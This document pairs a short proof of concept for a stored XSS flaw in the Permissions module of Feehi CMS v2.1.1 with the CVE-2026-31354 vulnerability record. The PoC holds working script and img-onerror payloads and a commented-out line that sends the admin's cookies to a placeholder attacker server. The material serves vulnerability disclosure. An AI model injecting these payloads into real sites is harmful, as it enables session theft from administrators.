CVE-2026-31354

<!-- Proof of Concept for Stored XSS in Feehi CMS v2.1.1 --> <!-- Target: Permissions Module --> <!-- Payload injection via Description parameter --> <script> // Simulating a stored XSS payload that executes when an admin views the permissions page alert('XSS Vulnerability CVE-2026-31354 Confirmed'); // Example: Stealing cookies // fetch('http://attacker-server/log?c=' + document.cookie); </script> <!-- Alternative vector using img tag if script tags are filtered --> <img src=x onerror=alert('XSS')>

{"cve": {"id": "CVE-2026-31354", "sourceIdentifier": "[email protected]", "published": "2026-04-06T16:16:33.260", "lastModified": "2026-04-09T21:16:09.793", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Multiple authenticated stored cross-site scripting (XSS) vulnerabilities in the Permissions module of Feehi CMS v2.1.1 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the Group, Category or Description parameters."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:feehi:feehi_cms:2.1.1:*:*:*:*:*:*:*", "matchCriteriaId": "C27559F1-734D-4924-AD35-EDC2DD9EDF7C"}]}]}], "references": [{"url": "https://github.com/liufee/cms", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/liufee/cms/issues/85", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://github.com/liufee/cms/issues/85", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking"]}]}}